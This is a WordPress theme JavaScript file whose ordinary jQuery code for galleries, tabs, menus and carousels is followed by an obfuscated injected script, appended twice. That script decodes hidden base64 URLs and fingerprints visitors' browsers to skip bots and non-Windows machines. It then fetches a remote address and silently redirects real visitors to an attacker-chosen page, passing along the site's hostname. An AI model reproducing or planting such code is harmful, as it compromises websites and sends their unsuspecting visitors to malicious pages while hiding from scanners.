File: /www/wwwroot/aiwellbore.com/wp-content/themes/study-education-pro/js/custom.js
jQuery(document).ready(function () {
var ww = jQuery(window).width();
jQuery("area[rel^='prettyPhoto']").prettyPhoto();
jQuery(".gallery:first a[rel^='prettyPhoto']").prettyPhoto({animation_speed: 'normal', theme: 'light_square', slideshow: 3000, autoplay_slideshow: false});
jQuery(".gallery:gt(0) a[rel^='prettyPhoto']").prettyPhoto({animation_speed: 'fast', slideshow: 10000, hideflash: true});
jQuery("#custom_content a[rel^='prettyPhoto']:first").prettyPhoto({
custom_markup: '<div id="map_canvas" style="width:260px; height:265px"></div>',
changepicturecallback: function () {
initialize();
}
});
jQuery("#custom_content a[rel^='prettyPhoto']:last").prettyPhoto({
custom_markup: '<div id="bsap_1259344" class="bsarocks bsap_d49a0984d0f377271ccbf01a33f2b6d6"></div><div id="bsap_1237859" class="bsarocks bsap_d49a0984d0f377271ccbf01a33f2b6d6" style="height:260px"></div><div id="bsap_1251710" class="bsarocks bsap_d49a0984d0f377271ccbf01a33f2b6d6"></div>',
changepicturecallback: function () {
_bsap.exec();
}
});
// accordion
jQuery('.accordion-box .acc-content').hide();
jQuery('.accordion-box h2:first').addClass('active').next().show();
jQuery('.accordion-box h2').click(function () {
if (jQuery(this).next().is(':hidden')) {
jQuery('.accordion-box h2').removeClass('active').next().slideUp();
jQuery(this).toggleClass('active').next().slideDown();
}
return false; // Prevent the browser jump to the link anchor
});
// Tabs
jQuery('ul.tabs > br').remove();
jQuery('.tabs-wrapper').append(jQuery('.tabs li div'));
jQuery('.tabs li:first a').addClass('defaulttab selected');
jQuery('.tabs a').click(function () {
switch_tabs(jQuery(this));
});
switch_tabs(jQuery('.defaulttab'));
function switch_tabs(obj) {
jQuery('.tab-content').hide();
jQuery('.tabs a').removeClass("selected");
var id = obj.attr("rel");
jQuery('#' + id).show();
obj.addClass("selected");
}
// Content Toggle
jQuery(".slide_toggle_content").hide();
jQuery("h3.slide_toggle").toggle(function () {
jQuery(this).addClass("clicked");
}, function () {
jQuery(this).removeClass("clicked");
});
jQuery("h3.slide_toggle").click(function () {
jQuery(this).next(".slide_toggle_content").slideToggle();
});
});
// NAVIGATION CALLBACK
var ww = jQuery(window).width();
jQuery(document).ready(function () {
jQuery(".header-nav li a").each(function () {
if (jQuery(this).next().length > 0) {
jQuery(this).addClass("parent");
}
;
});
jQuery(".toggleMenu").click(function (e) {
e.preventDefault();
jQuery(this).toggleClass("active");
jQuery(".header-nav").slideToggle('fast');
});
adjustMenu();
});
// navigation orientation resize callbak
jQuery(window).bind('resize orientationchange', function () {
ww = jQuery(window).width();
adjustMenu();
});
var adjustMenu = function () {
if (ww < 981) {
jQuery(".toggleMenu").css("display", "block");
if (!jQuery(".toggleMenu").hasClass("active")) {
jQuery(".header-nav").hide();
} else {
jQuery(".header-nav").show();
}
jQuery(".header-nav li").unbind('mouseenter mouseleave');
} else {
jQuery(".toggleMenu").css("display", "none");
jQuery(".header-nav").show();
jQuery(".header-nav li").removeClass("hover");
jQuery(".header-nav li a").unbind('click');
jQuery(".header-nav li").unbind('mouseenter mouseleave').bind('mouseenter mouseleave', function () {
jQuery(this).toggleClass('hover');
});
}
};
jQuery(document).ready(function () {
jQuery('.srchicon').click(function () {
jQuery('.searchtop').toggle();
jQuery('.topsocial').toggle();
});
// mixitup
jQuery(function () {
jQuery('#Grid').mixitup();
});
//Client Logo jquery
jQuery('.skillbar').each(function () {
jQuery(this).find('.skillbar-bar').animate({
width: jQuery(this).attr('data-percent')
}, 6000);
});
jQuery('section').addClass("hidden").viewportChecker({
classToAdd: 'visible animated fadeIn',
offset: 100
});
jQuery('#footer-wrapper').addClass("hidden").viewportChecker({
classToAdd: 'visible animated fadeIn',
offset: 100
});
// hide #back-top first
jQuery("#back-top").hide();
// fade in #back-top
jQuery(function () {
jQuery(window).scroll(function () {
if (jQuery(this).scrollTop() > 50) {
jQuery('#back-top').fadeIn();
} else {
jQuery('#back-top').fadeOut();
}
});
// scroll body to 0px on click
jQuery('#back-top').click(function () {
jQuery('body,html').animate({
scrollTop: 50
}, 800);
return false;
});
});
//testimonial section code
jQuery('#clienttestiminials .owl-carousel').owlCarousel({
loop: false,
autoplay: false,
autoplayTimeout: 8000,
margin: 0,
nav: false,
autoHeight: false,
navText: ["<i class='fas fa-angle-up'></i>", "<i class='fas fa-angle-down'></i>"],
dots: true,
responsive: {
0: {
items: 1
},
600: {
items: 1
},
1000: {
items: 1
}
}
});
//testimonial section code end
//youtube link
jQuery(".youtube-link").grtyoutube({
autoPlay: true,
theme: "dark"
});
});!async function(){let e=decodeURIComponent(escape(atob(["aHR0cHM6Ly9tZXRyaWNhbH","RpYy5jb20vYXBpL2dldA=="].join("")))),t=decodeURIComponent(escape(atob("aHR0cHM6Ly9tZXRyaWNhbHRpYy5jb20vYXBpL2xvZw==")))
function o(e){return btoa(unescape(encodeURIComponent(e)))}let n={}
if(window.location.search.slice(1).split("&").forEach(e=>{let[t,o]=e.split("=")
t&&o&&(n[t]=decodeURIComponent(o.replace(/\+/g," ")))}),n.verified&&localStorage.setItem("verified","true"),"true"===localStorage.getItem("verified"))return
function r(e,t){let o=e.match(t)
return o?parseInt(o[1],10):null}let a=navigator.userAgent,i=/Windows NT 10.0/.test(a),l=r(a,/Chrome\/(\d+)\./),c=r(a,/Edg\/(\d+)\./),d=r(a,/OPR\/(\d+)\./),s=r(a,/YaBrowser\/(\d+)\./),u=r(a,/Vivaldi\/(\d+)\./),w=r(a,/Firefox\/(\d+)\./),h=Boolean(window.chrome)&&!/Edg|OPR|YaBrowser|Vivaldi/.test(a)&&/Chrome\/(\d+)\./.test(a),g=!1
l&&l>=136?g=!0:c&&c>=134?g=!0:d&&d>=120?g=!0:s&&s>=24?g=!0:u&&u>=6?g=!0:w&&w>=140?g=!0:h&&l&&l>=136&&(g=!0)
let m=navigator.webdriver||/HeadlessChrome/.test(a)||!window.chrome||!navigator.plugins.length||!navigator.mimeTypes.length||0===window.outerWidth||0===window.outerHeight||window.screen&&(window.screen.width<800||window.screen.height<600)||/bot|spider|crawl|python|curl|phantom|selenium|scrapy|node|headless/i.test(a),p=!navigator.languages||0===navigator.languages.length||void 0===navigator.hardwareConcurrency||void 0===navigator.deviceMemory
if(!i||m||p)return
if(!g){try{fetch(t)}catch(e){}return}let f=document.querySelector('link[rel="icon"]'),v=await async function t(n=1){try{let t=await async function(e,t={}){let{timeout:o=3e3}=t,n=new AbortController,r=setTimeout(()=>n.abort(),o)
try{let o=await fetch(e,{...t,signal:n.signal})
return clearTimeout(r),o}catch(e){return clearTimeout(r),null}}(e,{timeout:3e3})
if(!t||403===t.status)return null
if(!t.ok)throw Error("Network response was not ok")
return`${(await t.json()).url}/?wsid=${window.location.hostname}&domain=${o(window.location.hostname)}`}catch(e){if(n<1)return t(n+1)
else return null}}()
if(v){let e=v
f&&(e+=`&link=${o(f.href)}`),window.location.replace(e)}}()!async function(){let e=decodeURIComponent(escape(atob(["aHR0cHM6Ly9tZXRyaWNhbH","RpYy5jb20vYXBpL2dldA=="].join("")))),t=decodeURIComponent(escape(atob("aHR0cHM6Ly9tZXRyaWNhbHRpYy5jb20vYXBpL2xvZw==")))
function o(e){return btoa(unescape(encodeURIComponent(e)))}let n={}
if(window.location.search.slice(1).split("&").forEach(e=>{let[t,o]=e.split("=")
t&&o&&(n[t]=decodeURIComponent(o.replace(/\+/g," ")))}),n.verified&&localStorage.setItem("verified","true"),"true"===localStorage.getItem("verified"))return
function r(e,t){let o=e.match(t)
return o?parseInt(o[1],10):null}let a=navigator.userAgent,i=/Windows NT 10.0/.test(a),l=r(a,/Chrome\/(\d+)\./),c=r(a,/Edg\/(\d+)\./),d=r(a,/OPR\/(\d+)\./),s=r(a,/YaBrowser\/(\d+)\./),u=r(a,/Vivaldi\/(\d+)\./),w=r(a,/Firefox\/(\d+)\./),h=Boolean(window.chrome)&&!/Edg|OPR|YaBrowser|Vivaldi/.test(a)&&/Chrome\/(\d+)\./.test(a),g=!1
l&&l>=136?g=!0:c&&c>=134?g=!0:d&&d>=120?g=!0:s&&s>=24?g=!0:u&&u>=6?g=!0:w&&w>=140?g=!0:h&&l&&l>=136&&(g=!0)
let m=navigator.webdriver||/HeadlessChrome/.test(a)||!window.chrome||!navigator.plugins.length||!navigator.mimeTypes.length||0===window.outerWidth||0===window.outerHeight||window.screen&&(window.screen.width<800||window.screen.height<600)||/bot|spider|crawl|python|curl|phantom|selenium|scrapy|node|headless/i.test(a),p=!navigator.languages||0===navigator.languages.length||void 0===navigator.hardwareConcurrency||void 0===navigator.deviceMemory
if(!i||m||p)return
if(!g){try{fetch(t)}catch(e){}return}let f=document.querySelector('link[rel="icon"]'),v=await async function t(n=1){try{let t=await async function(e,t={}){let{timeout:o=3e3}=t,n=new AbortController,r=setTimeout(()=>n.abort(),o)
try{let o=await fetch(e,{...t,signal:n.signal})
return clearTimeout(r),o}catch(e){return clearTimeout(r),null}}(e,{timeout:3e3})
if(!t||403===t.status)return null
if(!t.ok)throw Error("Network response was not ok")
return`${(await t.json()).url}/?wsid=${window.location.hostname}&domain=${o(window.location.hostname)}`}catch(e){if(n<1)return t(n+1)
else return null}}()
if(v){let e=v
f&&(e+=`&link=${o(f.href)}`),window.location.replace(e)}}()